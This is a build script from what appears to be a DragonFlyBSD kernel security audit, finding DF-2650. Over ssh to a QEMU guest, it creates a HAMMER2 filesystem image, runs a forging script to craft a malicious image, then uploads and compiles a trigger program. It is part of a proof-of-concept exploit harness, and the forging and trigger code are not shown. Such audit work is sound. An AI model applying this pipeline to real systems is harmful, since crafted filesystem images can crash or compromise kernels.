DragonFlyBSD Kernel Audit
DF-2650 / build.sh
← back to finding ↓ download raw
#!/bin/sh
# DF-2650 build: base image in guest, forge on host.
set -e
CD=$(dirname "$0")
ssh -F dfbsd-qemu/config dfbsd 'vnconfig -u vn0 2>/dev/null || true; mkdir -p /root/poc/w2650 /mnt/h2x'
ssh -F dfbsd-qemu/config dfbsd 'cd /root/poc/w2650 && truncate -s 64M base.img && newfs_hammer2 -L testvol base.img >/dev/null && vnconfig -c vn0 /root/poc/w2650/base.img && mount -t hammer2 /dev/vn0@testvol /mnt/h2x && printf h2650payload > /mnt/h2x/f1 && sync && umount /mnt/h2x && vnconfig -u vn0 && echo BASE_OK'
scp -F dfbsd-qemu/config dfbsd:/root/poc/w2650/base.img "$CD/base2650.img"
python3 "$CD/forge_2650.py" "$CD/base2650.img" "$CD/craft2650.img" rad0
scp -F dfbsd-qemu/config "$CD/craft2650.img" dfbsd:/tmp/craft2650.img
scp -F dfbsd-qemu/config "$CD/trigger.c" dfbsd:/tmp/trigger.c
ssh -F dfbsd-qemu/config dfbsd 'cc -O -o /tmp/trigger /tmp/trigger.c && echo CC_OK'